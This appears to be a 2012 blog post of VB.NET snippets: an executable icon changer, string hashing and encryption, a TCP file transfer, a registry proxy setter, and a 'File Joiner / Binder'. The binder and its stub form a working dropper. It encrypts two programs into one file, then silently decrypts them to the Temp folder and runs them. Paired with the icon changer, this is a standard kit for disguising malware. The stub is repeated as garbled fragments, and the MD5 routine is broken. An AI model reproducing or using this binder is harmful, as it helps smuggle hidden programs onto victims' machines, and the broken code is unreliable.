четверг, 6 декабря 2012 г.

IconChanger



Icon Changer



Public Class IconInjector
         _
        Private Class NativeMethods
             _
            Public Shared Function BeginUpdateResource( _
            ByVal fileName As String, _
             ByVal deleteExistingResources As Boolean) As IntPtr
            End Function
             _
            Public Shared Function UpdateResource( _
            ByVal hUpdate As IntPtr, _
            ByVal type As IntPtr, _
            ByVal name As IntPtr, _
            ByVal language As Short, _
             _
            ByVal data() As Byte, _
            ByVal dataSize As Integer) As  Boolean
            End Function
             _
            Public Shared Function EndUpdateResource( _
            ByVal hUpdate As IntPtr, _
             ByVal discard As Boolean) As  Boolean
            End Function
        End Class
         _
        Private Structure ICONDIR
            Public Reserved As UShort
            Public Type As UShort
            Public Count As UShort
            ' The native structure has an array of ICONDIRENTRYs as a final field.
        End Structure
         _
        Private Structure ICONDIRENTRY
            Public Width As Byte            ' Width, in pixels, of the image
            Public Height As Byte           ' Height, in pixels, of the image
            Public ColorCount As Byte       ' Number of colors in image (0 if >=8bpp)
            Public Reserved As Byte         ' Reserved ( must be 0)
            Public Planes As UShort         ' Color Planes
            Public BitCount As UShort       ' Bits per pixel
            Public BytesInRes As Integer   ' Length in bytes of the pixel data
            Public ImageOffset As Integer  ' Offset in the file where the pixel data starts.
        End Structure
         _
        Private Structure BITMAPINFOHEADER
            Public Size As UInteger
            Public Width As Integer
            Public Height As Integer
            Public Planes As UShort
            Public BitCount As UShort
            Public Compression As UInteger
            Public SizeImage As UInteger
            Public XPelsPerMeter As Integer
            Public YPelsPerMeter As Integer
            Public ClrUsed As UInteger
            Public ClrImportant As UInteger
        End Structure
         _
        Private Structure GRPICONDIRENTRY
            Public Width As Byte
            Public Height As Byte
            Public ColorCount As Byte
            Public Reserved As Byte
            Public Planes As UShort
            Public BitCount As UShort
            Public BytesInRes As Integer
            Public ID As UShort
        End Structure
        Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
            InjectIcon(exeFileName, iconFileName, 1, 1)
        End Sub
        Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
            Const RT_ICON = 3UI
            Const RT_GROUP_ICON = 14UI
            Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
            Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
            Dim data = iconFile.CreateIconGroupData(iconBaseID)
            NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
            For i = 0 To iconFile.ImageCount - 1
                Dim image = iconFile.ImageData(i)
                NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
            Next
            NativeMethods.EndUpdateResource(hUpdate, False)
        End Sub
        Private Class IconFile
            Private iconDir As New ICONDIR
            Private iconEntry() As ICONDIRENTRY
            Private iconImage()() As Byte
            Public ReadOnly Property ImageCount As Integer
                Get
                    Return iconDir.Count
                End Get
            End Property
            Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
                Get
                    Return iconImage(index)
                End Get
            End Property
            Private Sub New()
            End Sub
            Public Shared Function FromFile(ByVal filename As String) As IconFile
                Dim instance As New IconFile
                Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
                Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
                instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
                instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
                instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
                Dim offset = Marshal.SizeOf(instance.iconDir)
                Dim iconDirEntryType = GetType(ICONDIRENTRY)
                Dim size = Marshal.SizeOf(iconDirEntryType)
                For i = 0 To instance.iconDir.Count - 1
                    ' Grab the structure.
                    Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
                    instance.iconEntry(i) = entry
                    ' Grab the associated pixel data.
                    instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
                    Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
                    offset += size
                Next
                pinnedBytes.Free()
                Return instance
            End Function
            Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
                Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
                Dim data(sizeOfIconGroupData - 1) As Byte
                Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
                Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
                Dim offset = Marshal.SizeOf(iconDir)
                For i = 0 To ImageCount - 1
                    Dim grpEntry As New GRPICONDIRENTRY
                    Dim bitmapheader As New BITMAPINFOHEADER
                    Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
                    Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
                    pinnedBitmapInfoHeader.Free()
                    grpEntry.Width = iconEntry(i).Width
                    grpEntry.Height = iconEntry(i).Height
                    grpEntry.ColorCount = iconEntry(i).ColorCount
                    grpEntry.Reserved = iconEntry(i).Reserved
                    grpEntry.Planes = bitmapheader.Planes
                    grpEntry.BitCount = bitmapheader.BitCount
                    grpEntry.BytesInRes = iconEntry(i).BytesInRes
                    grpEntry.ID = CType(iconBaseID + i, UShort)
                    Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
                    offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
                Next
                pinnedData.Free()
                Return data
            End Function
        End Class
    End Class

\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\
\\\\\\\\\\
\\\\\\\\
\\\\
\\
For Call I.C. Function Use This Command : IconInjector.InjectIcon(Set Here Exe File , Set Here Icon)


среда, 24 октября 2012 г.

Crypting String


MD5 String Crypt

1)

Md5StringCrypt
Public Class Form1

    Private Sub btnEncrypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEncrypt.Click
        txtOutput.Text = StringToMD5(txtInput.Text)
    End Sub


    Private Function StringToMD5(ByVal Content As String) As String
        Dim M5 As New Security.Cryptography.MD5CryptoServiceProvider
        Dim ByteString() As Byte = System.Text.Encoding.ASCII.GetBytes(Content)
        ByteString = M5.ComputeHash(ByteString)
        Dim FinalString As String = Nothing
        For Each bt As Byte In ByteString
            FinalString = bt.ToString("x6")
        Next
        Return FinalString
    End Function
End Class

Download Project:

Mediafire

2)

Public Class Form1
    Dim DES As New System.Security.Cryptography.TripleDESCryptoServiceProvider
    Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            DES.Key = Hash.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(TextBox1.Text))
            DES.Mode = Security.Cryptography.CipherMode.ECB
            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = DES.CreateEncryptor
            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(TextBox2.Text)
            TextBox2.Text = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
        Catch ex As Exception
            MessageBox.Show("The following error(s) have occurred: " & ex.Message)
        End Try
    End Sub
End Class

File Joiner / Binder


Joiner

Public Class Form1
    Dim F, F2 As String
    Function secure(ByVal data As Byte()) As Byte()
        Using sa As New System.Security.Cryptography.RijndaelManaged
            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim ofd As New OpenFileDialog
        With ofd
            .FileName = "*.*"
            .Title = "Choose a file..."
            .Filter = "All Files(*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F = .SafeFileName
                TextBox1.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        Dim ofd As New OpenFileDialog
        With ofd
            .FileName = "*.*"
            .Title = "Choose a file..."
            .Filter = "All Files(*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F2 = .SafeFileName
                TextBox2.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Me.Close()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Try
            Dim sfd As New SaveFileDialog
            With sfd
                .FileName = "*.*"
                .Title = "Choose an output folder..."
                .Filter = "All Files(*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[SPLITTER]"
                    Dim buffer As Byte() = My.Resources.Stub
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                    Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                    Dim File2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
                    MsgBox("Joined successfull", MsgBoxStyle.Information, "")
                End If
            End With
        Catch ex As Exception
            MsgBox("Error(s)", MsgBoxStyle.Critical, "")
        End Try
    End Sub

  
End Class

Stub

Public Class Form1
    Function unsecure(ByVal data As Byte()) As Byte()
        Using sa As New System.Security.Cryptography.RijndaelManaged
            sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub

End Class

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
            Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
            Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(2), file1, False)
            My.Computer.FileSystem.WriteAllBytes(tempDir & "\" & drop(4), file2, False)
            Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub

End Class

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim tempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[SPLITTER]")
        Dim file1 As Byte() = unsecure(Convert.FromBase64String(drop(1)))
        Dim file2 As Byte() = unsecure(Convert.FromBase64String(drop(3)))   
        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(2), file1, False)
        My.Computer.FileSystem.WriteAllBytes(tempDir & "/" & drop(4), file2, False)
        Process.Start(tempDir & "\" & drop(2)) : Process.Start(tempDir & "\" & drop(4))
    End Sub
End Class

вторник, 23 октября 2012 г.

FileTransfer



Form that sending file

Imports System.Net              
Imports System.Net.Sockets     
Imports System.IO
Imports System.Threading

Public class Form1         
 Private filePath As String    
 Delegate Sub nan()

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Button2.Enabled = False        
        filePath = TextBox1.Text
        Dim sendThread As New System.Threading.Thread(AddressOf sendSub)
        sendThread.IsBackground = True
        sendThread.Start()
End Sub 

Private Sub sendSub()  
        Dim cli As New TcpClient
        cli.Connect(TextBox2.Text, 1300)
        Try
            Dim nstm As Stream = cli.GetStream()
            Dim fstm As Stream = New FileStream(filePath, FileMode.Open, FileAccess.Read)
            Dim buffer(1024 - 1) As Byte
            Do While True
                Dim bytesRead As Integer = fstm.Read(buffer, 0, buffer.Length)
                If bytesRead = 0 Then Exit Do
                nstm.Write(buffer, 0, bytesRead)
                nstm.Flush()
            Loop
            cli.Close()
            nstm.Close()
            fstm.Close()
            MsgBox("Уes", MsgBoxStyle.Exclamation, "It Works=)")
        Catch ex As Exception
            MsgBox("Not works" & vbCr & ex.ToString, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub
    End class                 

Form that geting file

Imports System.Net.Sockets
Imports System.Net
Imports System.IO
Public Class Form1
    Private filePath As String

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Button1.Enabled = False
        TextBox1.Enabled = False
        filePath = TextBox1.Text
        Dim ListenThread As System.Threading.Thread = New System.Threading.Thread(AddressOf ListenSub)
        ListenThread.IsBackground = True
        ListenThread.Start()
    End Sub

    Private Sub ListenSub()
        Dim server As New TcpListener(IPAddress.Any, 1300)
        server.Start()
        Try
            While True
                Dim c As TcpClient = server.AcceptTcpClient
                Dim s As NetworkStream = c.GetStream

                FileOpen(1, filePath, OpenMode.Binary)
                Dim buffer(1024 - 1) As Byte
                Do While True
                    Dim bytesRead As Integer = s.Read(buffer, 0, buffer.Length)
                    If bytesRead = 0 Then Exit Do
                    FilePut(1, buffer)
                Loop
                FileClose(1)
                s.Close()
                c.Close()
            End While
        Catch ex As Exception
            MsgBox("Error" & vbCr & ex.ToString, MsgBoxStyle.Critical, "")
        End Try
    End Sub
End Class

Work with proxy(Proxy Injector)



Source Code

Imports Microsoft.Win32
Public Class ProxySetting
    Public Function IsProxyEnabled() As Boolean
        Try
            Dim Regs As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", RegistryKeyPermissionCheck.ReadWriteSubTree)
            If Regs.GetValue("ProxyEnable") <> Nothing Then
                If Regs.GetValue("ProxyEnable").ToString() = "0" Then
                    Return False
                Else
                    Return True
                End If
            Else
                Return False
            End If
        Catch ex As Exception
            Return False
        End Try
    End Function

    Public Function GetProxyServer() As String
        Try
            Dim Regs As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", RegistryKeyPermissionCheck.ReadWriteSubTree)
            If Regs.GetValue("ProxyServer") <> Nothing Then
                Return Regs.GetValue("ProxyServer").ToString()
            Else
                Return ""
            End If
        Catch ex As Exception
            Return ""
        End Try
    End Function

    Public Sub DisableProxy()
        Dim regKey As RegistryKey
        Try
            regKey = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", True)
            regKey.SetValue("ProxyEnable", False, RegistryValueKind.DWord)
            regKey.Close()
        Catch ex As Exception

        End Try
    End Sub

    Public Sub SetProxy(ByVal ServerName As String, ByVal port As Integer)
        Try
            Dim regkey1 As RegistryKey
            regkey1 = Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Internet Settings", True)
            regkey1.SetValue("ProxyServer", ServerName + ":" + port.ToString(), RegistryValueKind.Unknown)
            regkey1.SetValue("ProxyEnable", True, RegistryValueKind.DWord)
            regkey1.Close()
        Catch ex As Exception

        End Try
    End Sub

End Class

How to use the class and its methods

How to use the class and its methods
1) To Check Whether Proxy Is Enabled or Disabled call the Function IsProxyEnabled()
Example :


    Dim Proxy as new ProxySetting()
    If pxy.IsProxyEnabled() Then
           Msgbox("Proxy Enabled")
    End If


2) Set IE Proxy you need to call the SetProxy() method which takes 2 Parameters the first the IP or the Host Name and the second the Port Number.
Example


   Proxy.SetProxy(TxtProxy.Text, Convert.ToInt16(txtPort.Text))



3) Disable Proxy Settings you need to call the Method DisableProxy()


      Proxy.DisableProxy()


4) To get what proxy is already applied you need to call the Function GetProxyServer();


          Dim ServerAndProxy() As String = Proxy.GetProxyServer().Split(":")
          TxtProxy.Text = ServerAndProxy(0)
          txtPort.Text = ServerAndProxy(1)


In the code above i split the Result of GetProxyServer() with the seperator : to get the Host and the IP seperately.

Download:

Project